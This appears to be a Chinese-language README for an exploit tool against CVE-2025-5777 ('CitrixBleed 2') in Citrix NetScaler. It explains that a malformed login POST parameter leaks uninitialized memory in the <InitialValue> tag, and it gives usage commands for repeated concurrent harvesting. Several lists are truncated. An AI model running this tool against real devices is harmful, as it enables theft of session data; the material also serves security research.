[!WARNING] 此脚本仅用于教育及研究目的。未经明确授权,请勿将其用于任何系统。未经授权的访问或测试是非法且不道德的行为。使用此脚本前,请阅读完整的免责声明。
本项目演示了在 Citrix NetScaler 设备中发现的一个内存泄漏漏洞(CVE-2025-5777)。该漏洞源于在解析格式错误的 POST 数据(特别是 login 参数)时,对未初始化内存处理不当。由于它与臭名昭著的 CVE-2023-4966(原始 CitrixBleed)高度相似,该漏洞被广泛称为 CitrixBleed 2,后者在 2023 年被大规模利用
当 login 字段不带等号或值时,XML 响应的 <InitialValue> 标签中会返回一部分未初始化的栈内存。

泄漏的数据: 每次 HTTP 请求大约可泄漏 127 字节的 RAM 内容。通过重复发送这些请求,攻击者可以从内存中收集敏感数据,可能包括:
pip3 install aiohttp colorama
python3 exploit.py <URL> [options]
positional arguments:
url 基础 URL(例如 http://target.com)
optional arguments:
-h, --help 显示帮助信息
-v, --verbose 启用调试输出
-p, --proxy PROXY HTTP 代理 URL(例如 http://127.0.0.1:8080)
-t, --threads N 并发线程数(默认:10)
-d, --delay SECONDS 请求批次之间的延迟秒数(默认:1.0)
--max-requests N 最大发送请求数(默认:无限制)
-e, --endpoints PATH 用于测试的额外端点(可指定多个)
--no-save 退出时不保存数据到文件
基本用法:
python3 exploit.py http://target.com
带代理的详细模式:
python3 exploit.py http://target.com -v -p http://127.0.0.1:8080
高并发与速率限制:
python3 exploit.py http://target.com -t 20 -d 0.5
带多端点的有限请求:
python3 exploit.py http://target.com --max-requests 1000 -e /p/u/doAuthentication.do /api/auth
帮助:
python3 exploit.py -h
此增强版包含以下功能:
此高级 Python 脚本:
<InitialValue> 标签